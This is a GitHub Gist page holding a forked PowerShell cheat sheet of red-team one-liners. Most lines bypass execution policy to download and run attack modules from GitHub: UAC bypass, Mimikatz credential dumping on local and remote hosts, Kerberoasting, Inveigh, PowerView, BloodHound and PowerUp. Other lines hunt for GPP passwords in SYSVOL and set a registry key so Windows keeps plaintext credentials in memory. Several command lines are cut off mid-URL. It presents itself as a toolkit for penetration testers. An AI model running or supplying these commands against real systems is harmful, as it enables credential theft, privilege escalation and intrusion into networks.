

GitHub Gist

Search...


All gists

Back to GitHub

Sign in

Sign up

Instantly share code, notes, and snippets.



jivoi / RedTeam_CheatSheet.ps1

Forked from m8sec/RedTeam_CheatSheet.ps1

Created 6 years ago

☆ Star 327

🍴 Fork 127

<> Code

🔗 Revisions 6

☆ Stars 326

🍴 Forks 127

Embed

<script src="https://

📄


📄

Download ZIP

<> RedTeam_CheatSheet.ps1

Raw

```
1  # Description:
2  #   Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
3
4  # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
5  powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire
6
7  # Invoke-Mimikatz: Dump credentials from memory
8  powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire
9
10 # Import Mimikatz Module to run further commands
11 powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProj
12
13 # Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
14 powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/P
15
16 # PowerUp: Privilege escalation checks
17 powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/P
18
19 # Invoke-Inveigh and log output to file
20 powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/In
21
22 # Invoke-Kerberoast and provide Hashcat compatible hashes
23 powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire
24
25 # Invoke-ShareFinder and print output to file
26 powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/P
27
28 # Import PowerView Module to run further commands
29 powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShell
30
31 # Invoke-Bloodhound
32 powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodH
33
34 # Find GPP Passwords in SYSVOL
35 findstr /S cpassword $env:logonserver\sysvol\*.xml
36 findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
37
38 # Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
39 runas /user:DOMAIN\USER /noprofile powershell.exe
40
41 # Insert reg key to enable Wdigest on newer versions of Windows
42 reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
43
```



shorefall commented on Nov 28, 2023

...

New version:
<https://gist.github.com/shorefall/cb9733f3aaf666d7db94e69dcd8b1e44>

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

